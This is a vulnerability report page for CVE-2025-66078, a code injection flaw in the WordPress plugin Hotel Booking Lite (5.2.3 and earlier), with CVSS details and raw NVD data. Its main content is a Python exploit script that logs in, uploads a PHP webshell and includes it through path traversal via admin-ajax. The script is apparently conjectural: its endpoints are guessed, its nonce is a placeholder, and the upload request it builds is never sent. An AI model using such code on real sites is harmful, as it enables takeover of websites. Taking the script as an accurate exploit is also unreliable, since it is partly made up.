Security Vulnerability Report
中文
CVE-2025-66078 CVSS 9.1 CRITICAL

CVE-2025-66078

Published: 2025-12-18 08:16:16
Last Modified: 2026-04-27 18:16:34

Description

Improper Control of Generation of Code ('Code Injection') vulnerability in jetmonsters Hotel Booking Lite motopress-hotel-booking-lite allows Remote Code Inclusion.This issue affects Hotel Booking Lite: from n/a through <= 5.2.3.

CVSS Details

CVSS Score
9.1
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

motopress-hotel-booking-lite <= 5.2.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys from urllib.parse import urljoin # CVE-2025-66078 PoC - MotoPress Hotel Booking Lite Code Injection # Target: WordPress site with motopress-hotel-booking-lite plugin <= 5.2.3 def exploit_rce(target_url, username, password, shell_content): """ Exploit code injection vulnerability in MotoPress Hotel Booking Lite Requires: Valid WordPress account with high privileges """ session = requests.Session() # Step 1: Login to WordPress login_url = urljoin(target_url, '/wp-login.php') login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } response = session.post(login_url, data=login_data, cookies={'wordpress_test_cookie': 'WP+Cookie+check'}) if 'wordpress_logged_in' not in session.cookies: print('[-] Login failed') return False print('[+] Login successful') # Step 2: Upload malicious PHP file via plugin's file upload functionality # The exact endpoint depends on the vulnerable parameter upload_url = urljoin(target_url, '/wp-admin/admin-ajax.php') # Construct malicious payload for code injection # Note: This is a conceptual PoC - actual exploitation requires identifying # the specific vulnerable endpoint in the plugin files = { 'file': ('webshell.php', shell_content, 'application/x-php') } data = { 'action': 'mphb_upload_file', 'nonce': 'ATTACKER_OBTAINED_NONCE', 'post_id': '1' } # Step 3: Trigger code execution via file inclusion include_url = urljoin(target_url, '/wp-admin/admin-ajax.php') include_data = { 'action': 'mphb_include_file', 'file': '../../uploads/webshell.php' } response = session.post(include_url, data=include_data) if response.status_code == 200: print('[+] Code injection successful') print('[+] Webshell uploaded at:', urljoin(target_url, '/wp-content/uploads/webshell.php')) return True print('[-] Exploitation failed') return False if __name__ == '__main__': if len(sys.argv) < 5: print('Usage: python cve-2025-66078.py <target_url> <username> <password> <shell_content>') sys.exit(1) exploit_rce(sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4])

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-66078", "sourceIdentifier": "[email protected]", "published": "2025-12-18T08:16:15.543", "lastModified": "2026-04-27T18:16:33.917", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Generation of Code ('Code Injection') vulnerability in jetmonsters Hotel Booking Lite motopress-hotel-booking-lite allows Remote Code Inclusion.This issue affects Hotel Booking Lite: from n/a through <= 5.2.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.3, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/motopress-hotel-booking-lite/vulnerability/wordpress-hotel-booking-lite-plugin-5-2-3-remote-code-execution-rce-vulnerability?_s_id=cve", "source": "[email protected]"}]}}